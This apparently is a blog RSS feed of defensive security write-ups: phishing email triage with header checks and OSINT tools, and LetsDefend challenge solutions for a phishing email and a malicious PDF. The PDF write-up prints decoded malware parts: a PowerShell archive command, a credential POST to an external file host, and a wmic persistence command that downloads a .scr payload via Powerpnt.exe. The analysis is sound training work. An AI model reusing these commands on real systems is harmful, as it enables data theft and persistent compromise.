suspicious e-mail can be seen as below, where the sender domain belongs to a public address anyone can have (<strong><em>‘@gmail.com’</em></strong>), and not a corporative e-mail (<strong><em>‘@paypal.com’</em></strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6wrXySpaq6kqgSvT.jpeg" /><figcaption>Figure 01 - Example of suspicious e-mail. source: <a href="https://www.pickr.com.au/how-to/2021/how-to-spot-a-paypal-phishing-email/">pickr</a></figcaption></figure><p>A common technique threat actors have is to perform phishing attacks using mostly free, and legal platforms. Such as:</p><ul><li><strong>Services that offer Cloud Storage such as Google and Microsoft: </strong>Attackers try to use Google / Microsoft drive addresses that seem harmless to the user by uploading harmful files onto the drive.</li><li><strong>Free subdomains services such as Google, Wordpress, Blogspot, Wix, GoDaddy: </strong>Threat actors try to deceive security products and analysts by creating a free subdomain from these services. Since whois information cannot be searched as a subdomain, it can be seen that these addresses were taken in the past and belongs to the actual institutions.</li><li><strong>Form applications: </strong>Services are available that allow free form creation. Since the domain is harmless under normal conditions, it can pass on to the user without getting stuck on antivirus software. Google Forms is an example of these services. When looking at whois information, the domain can be seen to be Google, so the attacker can mislead further analysts.</li></ul><h3>Structure of an Email Header</h3><p>Before learning how to conduct an email analysis, it is important that we know how the structure of an e-mail header works.</p><ul><li><strong>From - </strong>The sender’s address;</li><li><strong>To - </strong>The receiver’s address, including CC and BCC;</li><li><strong>Date - </strong>Timestamp, when the email was <strong>sent;</strong></li><li><strong>Subject - </strong>The subject of the email;</li><li><strong>Return Path - </strong>The return address of the reply, a.k.a. “Reply-To”. If you reply to an email, the reply will go to the address mentioned in this field;</li><li><strong>Domain Key and DKIM Signatures - </strong>Email signatures are provided by email services to identify and authenticate emails;</li><li><strong>SPF - </strong>Shows the server that was used to send the email. It will help to understand if the actual server is used to send the email from a specific domain;</li><li><strong>Message-ID - </strong>Unique ID of the email;</li><li><strong>MIME-Version - </strong>Used MIME version. It will help to understand the delivered “non-text” contents and attachments;</li><li><strong>X-Headers - </strong>The receiver mail providers usually add these fields. Provided info is usually experimental and can be different according to the mail provider;</li><li><strong>X-Received - </strong>Mail servers that the email went through;</li><li><strong>X-Spam Status - </strong>Spam score of the email;</li><li><strong>X-Mailer - </strong>Email client name.</li></ul><h3>Important Email Header Fields for Quick Analysis</h3><p><strong>Questions to Ask / Required Checks and Evaluations:</strong></p><ul><li>Do the “From”, “To”, and “CC” fields contain valid addresses? <strong>Having invalid addresses is a red flag.</strong></li><li>Are the “From” and “To” fields the same? <strong>Having the same sender and recipient is a red flag.</strong></li><li>Are the “From” and “Return-Path” fields the same? <strong>Having different values in these sections is a red flag.</strong></li><li>Was the email sent from the correct server? <strong>Email should have come from the official mail servers of the sender.</strong></li><li>Does the “Message-ID” field exist, and is it valid? <strong>Empty and malformed values are red flags.</strong></li><li>Do the hyperlinks redirect to suspicious/abnormal sites? <strong>Suspicious links and redirections are red flags.</strong></li><li>Do the attachments consist of or contain malware? <strong>Suspicious attachments are a red flag. File hashes marked as suspicious/malicious by sandboxes are also a red flag.</strong></li></ul><h3>Tools to use During an Analysis</h3><h4>Email Client Apps</h4><p>One of the fastest ways to see the visual contents of an <strong>“.eml”</strong> file is by opening it directly on an e-mail client like Thunderbird or Outlook.</p><p>Althought it’s a good way to get the visuals for your report, <strong>it’s not reccomended to open such files in your desktop machine.</strong> You can always download an e-mail client on a virtual machine instead or use <em>text editors </em>to see its content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udz7fhMA8Cu5hxRt8u3lpw.png" /><figcaption>Figure 02 - Example of phishing e-mail open on Thuderbird</figcaption></figure><h4>Text Editors</h4><p>You can use a text editor of your own choice (Vim, Nano, Sublime, Visual Studio, EmEditor..) to view email files without opening and executing any of the linked attachments/commands.</p><h4><a href="https://github.com/wahlflo/eml_analyzer">emlAnalyzer</a></h4><p>Text editors are helpful in analysis, but there are some tools that can help you to view the email details in a clearer format.</p><p>We can use the<strong> “emlAnalyzer”</strong> tool to view the body of the email and analyze the attachments. The emlAnalyzer is a tool designed to parse email headers for a better view and analysis process.</p><p>It can be used to show the headers, body, embedded URLs, plaintext, HTML data, and attachments. The sample usage query is explained below.</p><p><strong>Query Details Explanation</strong></p><ul><li><strong>emlAnalyzer: </strong>Main command</li><li><strong>-i: </strong>File to analyse<br><strong><em>-i /path-to-file/filename</em></strong><br><strong>Note: </strong>Remember, you can either give a full file path or navigate to the required folder using the “cd” command.</li><li><strong>-header: </strong>Show header</li><li><strong>-u: </strong>Show URLs</li><li><strong>-text: </strong>Show cleartext data</li><li><strong>-extract-all: </strong>Extract all attachments</li></ul><p>An example of usage of the tool can be seen as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*ZR7kZU0JSTjyqZWgEQex1A.png" /><figcaption>Figure 03 - Usage of the emlAnalyzer: <strong>emlAnalyzer</strong> <strong>-i email.eml --header</strong></figcaption></figure><h4><a href="https://www.phishtool.com/">PhishTool</a></h4><p>PhishTool is another useful tool for the automation of the analysis process, as it collects the necessary information — headers, body, embedded URLs, plaintext, HTML attachments… of selected .eml files in a way that’s easier for the comprehension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LFdf8sNX1zwm1vp0gxiQZg.png" /><figcaption>Figure 04 - PhishTool website</figcaption></figure><p>An example of usage of the tool can be seen as below, after registering on the platform from PhishTool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDUOx8js8I2ZaC-jl8QAQw.png" /><figcaption>Figure 05 - Example of usage — PhishTool</figcaption></figure><h3>Open Source Intelligence (OSINT)</h3><p>Additionally, you can use some Open Source Intelligence (OSINT) tools to check email reputation and enrich the findings. You can visit the given sites below and do a reputation check on the sender address and the address found in the return path.</p><h4><a href="https://mxtoolbox.com/">MxToolbox</a></h4><p>The MX Record Lookup tool is <strong>an online tool that lets you query DNS servers and get instant results</strong>. Mail Exchanger or MX lookups are used to determine the MX records associated with a domain, it can also be used to check out whether a domain is blacklisted or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*ApkbwQBjB-yR351DysTgdA.png" /><figcaption>Figure 06 - MxToolbox</figcaption></figure><h4><a href="https://emailrep.io/">emailrep.io</a></h4><p>Tool used to detect targeted phishing attacks and e-mail reputation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hyw8l2nzKqa2pKSDIk0VtA.png" /><figcaption>Figure 07 - Simple Email Reputation</figcaption></figure><h4><a href="https://epieos.com/">Epieos</a></h4><p>Tool for the gathering of information of accounts linked to an e-mail address <strong><em>(can be efficient with ‘@gmail.com’ addresses)</em>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04Nm8wOGC2-avS6ysCThFw.png" /><figcaption>Figure 08 - Epieos</figcaption></figure><h4><a href="https://www.virustotal.com/gui/"><strong>VirusTotal</strong></a></h4><p>A service that provides a cloud-based detection toolset and sandbox environment. It can be used to collect indicators of compromise, and static analysis of suspicious files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tNWN3ldo0faR51JLnYI0zg.png" /><figcaption>Figure 09 - VirusTotal</figcaption></figure><h4><a href="https://www.hybrid-analysis.com/">Hybrid Analysis</a></h4><p>An alternative sandbox environment for VirusTotal, it detects possible IOCs, TTPs and gives a static analysis of malicious files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*zp4lpiDUXwfOvePvtBv_1Q.png" /><figcaption>Figure 10 - HybridAnalysis</figcaption></figure><h4><a href="https://labs.inquest.net/"><strong>InQuest Labs</strong></a></h4><p>A service that provides network and file analysis by using threat analytics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9OIiw3WaJ0iP0px_b2YQ4g.png" /><figcaption>Figure 11 - InQuest Labs</figcaption></figure><h4><a href="https://ipinfo.io/"><strong>IPinfo.io</strong></a></h4><p>A service that provides detailed information about an IP address by focusing on geolocation data and service provider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KN6A_vqfzPYpg0RSv3DrjQ.png" /><figcaption>Figure 12 - iPinfo.io</figcaption></figure><h4><a href="https://talosintelligence.com/reputation_center/"><strong>Talos Reputation</strong></a></h4><p>An IP reputation check service provided by Cisco Talos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lhWWRPiCOnkGXxOYS2iLA.png" /><figcaption>Figure 13 - Talos Reputation</figcaption></figure><h4><a href="https://urlscan.io/"><strong>Urlscan.io</strong></a></h4><p>A service that analyses websites by simulating regular user behaviour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHbVnfd84TThZeYRUJNEJQ.png" /><figcaption>Figure 14 - Urlscan.io</figcaption></figure><h4><a href="https://www.browserling.com/"><strong>Browserling</strong></a></h4><p>A browser sandbox used to test suspicious/malicious links.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cA9XAzBVesuT-Eybpv-W0A.png" /><figcaption>Figure 15 - Browserling</figcaption></figure><h4><a href="https://www.wannabrowser.net/"><strong>Wannabrowser</strong></a></h4><p>Another browser sandbox used for the testing of suspicious/malicious links.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*7na00ziVadnJAoK6gBARzQ.png" /><figcaption>Figure 16 - Wannabrowser</figcaption></figure><h4><a href="https://www.abuseipdb.com/">AbuseIPDB</a></h4><p>AbuseIPDB is a project dedicated to helping combat the spread of hackers, spammers, and abusive activity on the internet. It can be useful to see and send abuse reports related to certain IP or Domain Addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lCKKG97MHUEsGjxHoJPUfQ.png" /><figcaption>Figure 17 - AbuseIPDB</figcaption></figure><h3>Example of Analysis</h3><p>After getting to know most used concepts and tools, we can finally analyze the contents of an e-mail header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_UcmGY8Q6RV61vvJJVQc0g.png" /><figcaption>Figure 18 - Sample of suspicious email by LetsDefend</figcaption></figure><h4>Points of Attention</h4><ul><li>Both the <strong>Reply-to</strong> and <strong>Return-Path</strong> of the sender adress contains different e-mail addresses;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*e7fSHDf-EgGH2jV-Qq6qhw.png" /><figcaption>Figure 19 - Example of detection using PhishTool</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*oBdXLD3dUz7EmS00U2M7tA.png" /><figcaption>Figure 20 - Example of detection in text editors (VScode)</figcaption></figure><ul><li>The IP Address of the sender is <strong>222.227.81.181</strong>, and the message date (when it was sent) is <strong>Monday - 21 of February, 2022;</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*tSIIytJdCpm4FMgabecLpA.png" /><figcaption>Figure 21 - IP Address of the sender and date</figcaption></figure><ul><li>The IP address ‘<strong>222.227.81.181’</strong> is from Japan, under the domain “kddi.ne.jp”;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*pCr3gp_WP0wz_cdj57zOvA.png" /><figcaption>Figure 22 - Information from the IP address</figcaption></figure><p>Looking up “<em>KDDI Corporation”, </em>we can tell it is a possible legitimate service being useed by third parties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*JzfYxKns0YFFk1DBcdjJMA.png" /><figcaption>Figure 23 - Reserach information about the “<em>KDDI Corporation”</em></figcaption></figure><ul><li>We can also search for information about the DNS address of the sender: <strong>“snd01105-jc.im.kddi.ne.jp”;</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*KIYSqlJvPAsKasTBLOz4zw.png" /><figcaption>Figure 24 - DNS Address of the sender</figcaption></figure><p>It’s possible to find publications on the forums “romancescam” and “scamsurvivors” relating spam mails from that same DNS address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*_6rDMipRJPxKBYTVmw9bBA.png" /><figcaption>Figure 25 - Reserach of informations about the DNS Address</figcaption></figure><p>With that we can confirm more suspicious messages were sent from the DNS Address <strong>“snd01105-jc.im.kddi.ne.jp” </strong>also<strong> </strong>using the following tactics:</p><ul><li>Reply-to is different from the Return-Path listed;</li><li><em>“KDDI Corporation”</em> is also the provider of the Return-path;</li><li>Message is also under the pretext of a person who is sick, dying, and needs someone else to do “good deeds” with their money.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*itnj-37y4rtBe7_d8U7tZg.png" /><figcaption>Figure 26 - Publication from the forum “ScamSurvivors” — an online board for scam reports</figcaption></figure><ul><li>There‘s no malicious attachments related to that e-mail and static analysis tools couldn’t really detect any possible threat;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gb9SlS26tQYYCeR_7C85HQ.png" /><figcaption>Figure 27 - Analysis of the suspicious e-mail from VirusTotal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6teBV8FORjBEbJCRd68Fg.png" /><figcaption>Figure 28 - Analysis of the suspicious e-mail from HybridAnalysis</figcaption></figure><ul><li>The suspicious IP Address ‘<strong>222.227.81.181’ </strong>has also been reported a total of <strong>29</strong> times from 18 distinct sources on <a href="https://www.abuseipdb.com/check/222.227.81.181?page=2#report">AbuseIPDB</a>, mostly as a detected spam.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_R_vU8UFFQP24546gS5mBQ.png" /><figcaption>Figure 29 - AbuseIPDB reports on the IP <strong>222.227.81.181</strong></figcaption></figure><h4>Conclusion of Analysis</h4><p>Although no malicious attachments or links were found, the information that the <strong>‘Reply-To’</strong> email address ‘<strong>mrs.dara@daum.net’</strong> is inconsistent with the <strong>‘From’ </strong>e-mail ‘<strong>mrs.dara@jcom.home.ne.jp’ </strong>is suspicious.</p><p>When attempting to persuade a phishing target to respond, attackers often provide a different ‘Reply-To’ email address whilst spoofing a legitimate ‘From’ email address.</p><p>An unsuspecting target might reply to the phishing email believing they are replying to the email address shown prominently in their email client, when the response is actually being sent to the ‘Reply-To’ email address.</p><p>This could be a <strong>social engineering</strong> tactic to get financial information from the victim under the assumption they would actually receive the money. With a quickly research, it was also possible to find scam reports associated with the same DNS address, which concludes the sender of the message should not be trusted.</p><h4><strong>References:</strong></h4><ul><li><strong><em>TryHackMe: Advent of Cyber 2022 - Day 6: E-mail Analysis: </em></strong><a href="https://tryhackme.com/room/adventofcyber4">https://tryhackme.com/room/adventofcyber4</a></li><li><strong><em>LetsDefend - Phishing Email Analysis: </em></strong><a href="https://app.letsdefend.io/training/lessons/phishing-email-analysis">https://app.letsdefend.io/training/lessons/phishing-email-analysis</a></li><li><strong><em>Phishing Attacks: A Recent Comprehensive Study and a New Anatomy: </em></strong><a href="https://www.frontiersin.org/articles/10.3389/fcomp.2021.563060/full">https://www.frontiersin.org/articles/10.3389/fcomp.2021.563060/full</a></li><li><strong><em>Examples of Phishing Email: 20 Emails That Don’t Look Like It: </em></strong><a href="https://www.aura.com/learn/phishing-email-examples#3.-Suspicious-activity-notice">https://www.aura.com/learn/phishing-email-examples#3.-Suspicious-activity-notice</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=414ecead5f5d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[E-mail Analysis - A LetsDefend Challenge]]></title>
            <link>https://litio.medium.com/e-mail-analysis-a-letsdefend-challenge-e7923994b258?source=rss-8b2b7a56a7cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7923994b258</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[email-analysis]]></category>
            <dc:creator><![CDATA[Lithium Malware]]></dc:creator>
            <pubDate>Tue, 20 Dec 2022 00:26:23 GMT</pubDate>
            <atom:updated>2022-12-20T00:26:23.526Z</atom:updated>
            <content:encoded><![CDATA[<p>Analysis of a suspicious e-mail file to find more information about a possible threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*y-suli1tL9hEmmWE5RdyCg.png" /></figure><h3>Summary</h3><p>Your email address has been leaked and you received an email from Paypal in German. Try to analyze the suspicious email.</p><p><strong>File link:</strong> <a href="https://app.letsdefend.io/download/downloadfile/PhishingChallenge.zip/">Download</a><br><strong>Password:</strong> infected</p><p>This challenge was prepared by <a href="https://www.linkedin.com/in/sylvain-meurot-b34050161">@Fuuji</a></p><h3>Information we should find:</h3><ol><li>What is the return path of the email?</li><li>What is the domain name of the url in this mail?</li><li>Is the domain mentioned in the previous question suspicious?</li><li>What is the body SHA-256 of the domain?</li><li>Is this email a phishing email?</li></ol><h3>Write-up</h3><p>First step is to unzip the file and open the e-mail so we can have a better look at it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*UkxtF6x05PPXFGQwLszdcg.png" /><figcaption>Figure 01 - The suspicious e-mail received</figcaption></figure><h4><strong>Transcription:</strong></h4><p>Hello !</p><p>You are customer #12819202501 of AU Paypal Rewards and we are waiting for your confirmation since 08/09/2022. This delivery is for you. To activate delivery, please confirm..</p><p>your account information</p><ul><li>Customer: Krystyalia</li><li>Email: Krystyalia@gmail.com</li><li>Reward: PayPal prepaid card 1000</li></ul><p><strong>[button] Continue delivery</strong></p><p>Inspecting the button we can find the URL where the user is supposed to be redirected to - <strong>hxxps://storage[.]googleapis[.]com/hqyoqzatqthj/aemmfcylvxeo[.]html#QORHNZC44FT4[.]QORHNZC44FT4?dYCTywdcxr3jcxxrmcdcKBdmc5D6qfcJVcbbb4M.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXyQlPN8QoWYgGOQllv_Rw.png" /><figcaption>Figure 02 - Inspecting the links in the e-mail</figcaption></figure><p>A simply analysis on VirusTotal is enough to tell it’s a possible malicious URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HEVuatPn_3rhPVJEXqXeA.png" /><figcaption>Figure 03 - VirusTotal’s Phishing Detection</figcaption></figure><p>We can also curl the domain <strong>hxxps://storage[.]googleapis[.]com </strong>to compute its sha256 value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*L9o9ufPIgMK5uHyafKDBhg.png" /><figcaption>Figure 04- Curl command | sha256sum</figcaption></figure><p>Now, by opening the header of the e-mail in a text editor, we can do a better analysis, it is possible to get: IP adress of the sender, and <strong><em>return-path</em></strong> — A return path is used to specify where bounced <em>emails</em> are sent and is placed in the <em>email</em> header. It’s an SMTP address separate from the sending address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRbJNASBdCweIXSw9dskNQ.png" /><figcaption>Figure 05 - Designated IP and Return-Path</figcaption></figure><p>We can now conclude the analysis by stating it is a phishing e-mail, its main objective is to use a social engineering technique to redirect users to a malicious domain in order to collect data: possible credentials, and information from the user the e-mail is directed at.</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7923994b258" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PDF Analysis - A LetsDefend Challenge]]></title>
            <link>https://litio.medium.com/pdf-analysis-a-letsdefend-challenge-e0c11df7ad9e?source=rss-8b2b7a56a7cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0c11df7ad9e</guid>
            <category><![CDATA[pdf-analysis]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Lithium Malware]]></dc:creator>
            <pubDate>Mon, 12 Dec 2022 02:53:53 GMT</pubDate>
            <atom:updated>2022-12-12T03:41:17.671Z</atom:updated>
            <content:encoded><![CDATA[<p>Analysis of a PDF file in order to detect if there’s any signs of malicious behavior and possible indicators of compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*wa_WaN1AUEHTJKOeZiEJMA.png" /></figure><h3>Summary</h3><p>An employee has received a suspicious email:</p><p><strong>From:</strong> systemsupdate@letsdefend.io <br><strong>To:</strong> paul@letsdefend.io <br><strong>Subject:</strong> Critical — Annual Systems UPDATE NOW <br><strong>Body:</strong> Please do the dutiful before the deadline today. <br><strong>Attachment:</strong> <a href="https://drive.google.com/file/d/1_P5rsU1LCHYW--36TbhYqA841VeAZ6VE/view?usp=sharing">Update.pdf</a><br><strong>Password:</strong> letsdefend</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*e2ypH0L_zoVi--rIYGxseQ.png" /><figcaption>Figure 01 - Simulation of the e-mail</figcaption></figure><p>The employee has reported this incident to you as the analyst which has also forwarded the attachment to your SIEM. They have mentioned that they did not download or open the attachment as they found it very suspicious. They wish for you to analyze it further to verify its legitimacy.</p><p><strong>NOTE: Do not open in your local environment. It is a malicious file.</strong></p><p>This challenge prepared by <a href="https://twitter.com/DXploiter">@DXploiter</a>.</p><h3>Information we should find:</h3><ol><li>What local directory name would have been targeted by the malware?</li><li>What would have been the name of the file created by the payload?</li><li>What file type would this have been if it were created?</li><li>Which external web domain would the malware have attempted to interact with?</li><li>Which HTTP method would it have used to interact with this service?</li><li>What is the name of the obfuscation used for the Javascript payload?</li><li>Which tool would have been used for creating the persistence mechanism?</li><li>How often would the persistence be executed once Windows starts? (format: X.X hours)?</li><li>Which LOLBin would have been used in the persistence method?</li><li>What is the filename that would have been downloaded and executed using the LOLbin?</li><li>Where would this have been downloaded from? (format: IP address)</li><li>Which country is this IP Address located in?</li></ol><h3>Write-up</h3><p>In order to analyze the contents of the .pdf file, we can use the <strong>strings </strong>command to extract all strings present in our specified file <strong>“Update.pdf”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*5B01xTv3ZVcjaovRnskcBg.png" /><figcaption>Figure 02 - Extraction of the pdf file using strings command</figcaption></figure><p>Taking a closer look at the strings of the file, it is possible to find a powershell command encoded in Base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*MkaEM89trAJ-bI_cBygHIg.png" /><figcaption>Figure 03 - Powershell encoded command</figcaption></figure><p>By decoding the previous command with a decoder tool, there’s a text of reversed characters, we can tell it by taking an even closer look: <strong><em>p1zsc0D%wqnwnnjekwinz%stnemucoD%:C htaPnoitanitseD- etadpU- *%stnemucoD%:C htaP- evihcrA-sserpmoC</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euw4Dx1jIhWHGRIdX1SLZQ.png" /><figcaption>Figure 04 - Cryptii Decoder Tool, Base64 to text.</figcaption></figure><p>Reversing the string, you should find the hidden powershell command: <strong><em>Compress-Archive -Path C:%Documents%* -Update -DestinationPath C:%Documents%zniwkejnnwnqw%D0csz1p</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*882lAlFlSasi_SXFGyqn5Q.png" /><figcaption>Figure 05 - Code Beautify Tool, Reverse String</figcaption></figure><p>By analysing the previous command, we have gathered the following information about the payload created by the malware:</p><ul><li><strong><em>Compress-Archive -</em></strong> Command to compress the archive;</li><li><strong><em>-Path C:%Documents%* -</em></strong> Local directory targeted by the malware;</li><li><strong><em>-Update -DestinationPath C:%Documents%zniwkejnnwnqw%D0csz1p -</em></strong> Update the destination path to create a new folder <em>“zniwkejnnwnqw”</em> containing the file <em>“D0csz1p” </em>which looks similar to ’docs<strong>.zip</strong>’.</li></ul><p>Going back to the strings of our file, there’s more lines of code we should also pay attention to. From the following lines, we can <a href="https://www.w3schools.com/tags/ref_httpmethods.asp">“get”</a> a <strong>POST request</strong>, an HTTP method designed to send data to the server from an HTTP client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*z66QaTxsqSrft2oLzrS8fQ.png" /><figcaption>Figure 06 - Lines of code streaming data from client with HTTP - POST request.</figcaption></figure><p>However, by looking at these lines of code alone, we can only assume there is a JavaScript Object Notation (<strong>JSON</strong>) to be sent, but it’s not very clear to who it is being sent because it’s obfuscated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*8hljApXrvvHnp2Djeo8YvA.png" /><figcaption>Figure 07 - Custom function eval(p,a,c,k,e,d)</figcaption></figure><p>The <strong>eval(p,a,c,k,e,d)</strong> function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a obfuscated script.</p><p>In order to have a better look at the script, we can use a tool to format the previous lines of code into something more readable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*ihY6E-M1cQeWc0VK6BvI3Q.png" /><figcaption>Figure 08 - <em>Javascript Beautifier Tool</em></figcaption></figure><p>From the previous function, we can observe the following information:</p><ul><li>The file is trying to interact with the external domain: <strong><em>“https://filebin[.]net/0flqlz0hiz6o4l32/D0csz1p&quot;</em></strong> by a POST request;</li><li>The data it is trying to send are credentials that should be armazenated in the <strong><em>var data = ‘{“login”:””,”password”:””}’.</em></strong></li></ul><p>Now in order to find which tool would have been used for creating the persistence mechanism within the payload, we should go back to the strings of the PDF and analyse the contents of the <em>/ObjectAction.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*ogFKxxMT34rKFm0x0g6UsQ.png" /><figcaption>Figure 09 - Powershell script within the contents of the <em>/ObjectAction</em></figcaption></figure><p>We can open the script on powershell in order to find out more information, but instead of actually running it, we should change the input from <strong><em>invoke-Expression $LoadCode</em></strong> <em>(to run the script)</em> into “<strong><em>Write-Output $LoadCode” (to print the content of the script).</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*CQUlYjYT0L_FHdFVjHlubQ.png" /><figcaption>Figure 10 - Powershell ISE, Write-Output of the script,</figcaption></figure><p>Useful information taken from the script:</p><ul><li><strong><em>Query=”SELECT * FROM __InstanceModificationEvent WITHIN 9000 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’” </em>= </strong>The suspicious script should get events from a remote location within 9000 seconds;</li><li><strong><em>wmic /NAMESPACE:”\\root\subscription” PATH CommandLineEventConsumer CREATE Name=”RHWsZbGvlj”, ExecutablePath=”C:\Program Files\Microsoft Office\root\Office16\Powerpnt.exe ‘http://60.187.184[.]54/wallpaper482[.]scr&#39;</em> = </strong>It is creating a process to run a specified executable program from a command line under the LOLBin “<strong><em>Powerpnt.exe”</em></strong>, which downloads the file <strong><em>“wallpaper482.scr”</em></strong> hosted in the suspicious IP domain <strong><em>60.187.184[.]54</em></strong>;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*_gTFVLWE5H4gnAQq5B6CkQ.png" /><figcaption>Figure 11 - VirusTotal information on the suspicious IP</figcaption></figure><ul><li>Running the previous suspicious IP on VirusTotal, it is detected by five Antivirus’ vendors as a possible indicator of compromise located in China;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*Xsx33ZmjPL3ANVCmH2Oaew.png" /><figcaption>Figure 12 - Information from the Whois Lookup</figcaption></figure><ul><li>In order to confirm its location, we can get the following information from the Whois: the IP is hosted under the ISP <strong>CHINANET-ZJ</strong>, located in Shaoxing, Zhejiang, China.</li></ul><p>That should be enough to answer all the questions from the challenge. Thank you for reading!</p><h3>References &amp; Tools Utilized</h3><ul><li><strong>Code Beautify:</strong><em> </em><a href="https://codebeautify.org/"><em>https://codebeautify.org/</em></a></li><li><strong>Online JavaScript beautifier: </strong><a href="https://beautifier.io/">https://beautifier.io/</a></li><li><strong>Cryptii Decoder Tool:</strong> <a href="https://cryptii.com/">https://cryptii.com/</a></li><li><strong>VirusTotal:</strong> <a href="https://www.virustotal.com/gui/">https://www.virustotal.com/gui/</a></li><li><strong>Whois:</strong> <a href="https://ipinfo.io/">https://ipinfo.io/</a></li><li><strong>JavaScript Eval Function:<em> </em></strong><a href="https://www.rodude.com/javascript-pack-unpack-eval-function/"><em>https://www.rodude.com/javascript-pack-unpack-eval-function/</em></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0c11df7ad9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disclose The Agent - A LetsDefend Challenge]]></title>
            <link>https://litio.medium.com/disclose-the-agent-a-letsdefend-challenge-2fb7bc44d18a?source=rss-8b2b7a56a7cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fb7bc44d18a</guid>
            <category><![CDATA[smtp]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Lithium Malware]]></dc:creator>
            <pubDate>Mon, 28 Nov 2022 01:52:26 GMT</pubDate>
            <atom:updated>2022-12-02T00:19:36.108Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi there! In order to properly inaugurate this page, we’ll be <strong>disclosing the agent</strong> —<em> A LetsDefend Challenge.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*FrflEPS13OZ9W0SUdk0owQ.png" /><figcaption>Figure 01: Original challenge from: <a href="https://app.letsdefend.io/challenge/disclose-the-agent/">https://app.letsdefend.io/challenge/disclose-the-agent/</a></figcaption></figure><h3><strong><em>Summary</em></strong></h3><p>We reached the data of an agent leaking information. You have to disclose the agent.</p><p><em>Log file:</em> <a href="https://app.letsdefend.io/download/downloadfile/smtpchallenge.zip"><em>Download</em></a><br><em>Pass: 321</em></p><p>Note: pcap file found public resources.</p><h3>Information we should find</h3><ol><li>secret boyfriend’s email address.</li><li>Ann’s email password.</li><li>the secret file Ann sent to her secret lover.</li><li>the location where Ann will meet her secret lover.</li><li>MD5 hash of the file Ann provided to her lover.</li></ol><h3>Observations</h3><p>If you plan on doing the LetsDefend 